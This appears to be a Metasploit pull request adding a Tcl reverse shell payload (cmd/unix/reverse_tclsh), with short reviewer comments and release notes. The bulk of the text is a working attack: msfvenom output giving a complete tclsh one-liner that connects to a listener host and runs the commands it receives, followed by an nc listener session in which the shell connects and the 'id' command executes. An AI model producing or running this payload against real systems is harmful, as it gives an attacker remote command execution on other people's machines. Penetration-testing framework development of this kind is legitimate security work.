Add cmd/unix/reverse_tclsh

[bcoles]

$ ruby -W0 ./msfvenom -p cmd/unix/reverse_tclsh LPORT=1337 LHOST=172.16.191.165 
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 183 bytes
echo 'set s [socket 172.16.191.165 1337];set c "";while {$c != "exit"} {flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} {puts $s $r};flush $s;};close $s;'|tclsh
$ nc -lvp 1337
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 172.16.191.228.
Ncat: Connection from 172.16.191.228:39365.
id
uid=1001(test) gid=1001(test) groups=1001(test)
exit
$

I have no idea what best practice for attribution is here. There are dozens of reverse shell cheatsheets going back over a decade. On the other hand, while I copied (and modified) the one-liner shell, it's not particularly complex.

[bwatters-r7]

This may need to have some test stubs like #13000

[wvu]

Release Notes

This adds a reverse shell payload for tclsh, a simple shell containing Tcl interpreter.